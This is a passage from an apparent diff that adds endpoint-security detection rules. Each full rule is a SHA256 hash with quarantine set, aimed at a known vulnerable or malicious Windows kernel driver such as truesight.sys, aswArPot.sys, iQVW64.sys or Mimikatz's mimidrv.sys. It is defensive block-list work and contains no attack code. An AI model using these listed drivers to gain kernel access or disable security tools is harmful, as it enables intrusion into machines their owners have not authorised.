+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606865Z",
+  "creation_date": "2026-03-23T11:45:29.606867Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606889Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a4e4ee169fe0f1f079e5f5c1da38ea70fe717e728faf054deb180f9e37fe574",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ddb26a4-3ffd-5213-9fc0-158a00d10dc8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457661Z",
+  "creation_date": "2026-03-23T11:45:30.457664Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457673Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3308899fc0ebdd04a4dacc386873c25dabe32a8f34607fb335148d2dab667d8",
+  "comment": "Vulnerable Kernel Driver (aka rtkio64.sys ) [https://www.loldrivers.io/drivers/8d3f27bd-c3fd-48d0-913a-e2caa6fbd025/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3df076fe-5644-585b-8486-7e476582899c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499322Z",
+  "creation_date": "2026-03-23T11:45:31.499325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "976eb2b6361c0bec3954b294089e2263084509848381b6ded0d75e87ca074875",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3df50ee6-7969-52d4-8e89-b4d961f4c386",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972160Z",
+  "creation_date": "2026-03-23T11:45:29.972162Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff115cefe624b6ca0b3878a86f6f8b352d1915b65fbbdc33ae15530a96ebdaa7",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3dfc5d0f-a4da-5a5a-9899-2551aa4abf09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827963Z",
+  "creation_date": "2026-03-23T11:45:31.827964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827970Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9efaad2e2089820dc5726e358fa731ba7788d88f8fe1fc243c3afd4cb5fe89dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e0917b3-ccaf-5ad2-b0fa-c0b62955c887",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831985Z",
+  "creation_date": "2026-03-23T11:45:30.831987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1a3d046af99f88973d09dd034ac9b49bd74e2abfd829d2d73cc75b5e0d1d6059",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e1979e8-e21f-580d-b3b8-4439c588cbbe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477067Z",
+  "creation_date": "2026-03-23T11:45:31.477071Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477081Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d164cd50476f880c4ddd879db399bfbd53fcbbffcba3be9152e69f95d36a1d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e255873-2c5a-5e7c-9949-0ff731100561",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620565Z",
+  "creation_date": "2026-03-23T11:45:29.620567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620573Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a3d4db86f580b1680d6454baee1c1a139e2dde7d55e972ba7c92ec3f555dce2",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e3ac6bb-dbc5-57ab-bf7d-89dc089ebc70",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968705Z",
+  "creation_date": "2026-03-23T11:45:29.968707Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968712Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8f33f349062cbaa5591760bed8b0185730e043440a302702e3be12554aa62104",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e435f38-e49b-56d1-a942-d08282ab0df5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143650Z",
+  "creation_date": "2026-03-23T11:45:32.143652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ff54579dc4b76e814495d8e1d452a6f868adf06c2de0afdc5c3878b380d0a17",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e441d39-c653-59a6-98f1-15142c8f0ba4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454066Z",
+  "creation_date": "2026-03-23T11:45:30.454069Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbf74bed1a4d3d5819b7c50e9d91e5760db1562d8032122edac6f0970f427183",
+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e4d8d40-0bd2-5cad-a69c-95acadedd0fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465227Z",
+  "creation_date": "2026-03-23T11:45:30.465230Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465239Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "492113a223d6a3fc110059fe46a180d82bb8e002ef2cd76cbf0c1d1eb8243263",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e53e505-5d70-5dc2-8354-20d1d0caf359",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808182Z",
+  "creation_date": "2026-03-23T11:45:31.808185Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65ea10f141b979601725e485131626c82f6e173bcfb5bac831fee25d59e4afc6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e5abaae-3725-58cd-83dd-1e580af07492",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977647Z",
+  "creation_date": "2026-03-23T11:45:29.977650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "09bc9d0606d8b96f1d9fb18741bdb43aa5c188981d298df047b8c75351d68653",
+  "comment": "Vulnerable Kernel Driver (aka CorsairLLAccess64.sys) [https://www.loldrivers.io/drivers/a9d9cbb7-b5f6-4e74-97a5-29993263280e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e5bbe79-0cc7-5b5d-992e-60170d476749",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824433Z",
+  "creation_date": "2026-03-23T11:45:31.824437Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0524c94ffc9460a05bce72e9f7d4fa18e3c65012400df223b319e13d2efb156d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e5c96f1-c90c-51c4-aa44-2aceba3ff44b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610159Z",
+  "creation_date": "2026-03-23T11:45:29.610161Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610166Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b3705b47dc15f2b61ca3821b883b9cd114d83fcc3344d11eb1d3df495d75abe",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e623caa-d5e7-545b-80c0-21ba99691224",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155452Z",
+  "creation_date": "2026-03-23T11:45:31.155454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ef4acefb20d9d76b65695771a22e245851e04a8eb2585a99fa725ece406ba62",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e67f682-c09a-5fb6-95cb-1fc57ce5de60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619266Z",
+  "creation_date": "2026-03-23T11:45:29.619268Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "082c39fe2e3217004206535e271ebd45c11eb072efde4cc9885b25ba5c39f91d",
+  "comment": "Realtek vulnerable driver (aka rtkio64.sys, rtkiow10x64.sys and rtkiow8x64.sys) [https://github.com/blogresponder/Realtek-rtkio64-Windows-driver-privilege-escalation] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e6ad2a5-63b5-5bdb-9f2a-108bd94cc804",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618151Z",
+  "creation_date": "2026-03-23T11:45:29.618153Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618158Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c933f5d07ccb4bd715666cd6eb35a774b266ddd8d212849535a54192a44f667",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e70fd64-6344-506e-8e26-3584a117be24",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606812Z",
+  "creation_date": "2026-03-23T11:45:29.606814Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606820Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "120f7983011211e6740d7a3a4cd2354507866ef7d36a48e2e3a9bd5b52c21c8a",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e79a4d9-fdc3-53b9-aefb-a29d269af320",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153339Z",
+  "creation_date": "2026-03-23T11:45:31.153342Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d14bcd4178ec57464c6463b19a75b4f0549c42ccedc042c40189d68923215dbd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e842552-ce04-53e9-b0f1-f3ea51b59a92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616433Z",
+  "creation_date": "2026-03-23T11:45:29.616434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616440Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc7ebd191e0991fd0865a5c956a92e63792a0bb2ff888af43f7a63bb65a22248",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3e8f1022-3f9f-539c-ba00-1a7af2c6af6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824769Z",
+  "creation_date": "2026-03-23T11:45:30.824772Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
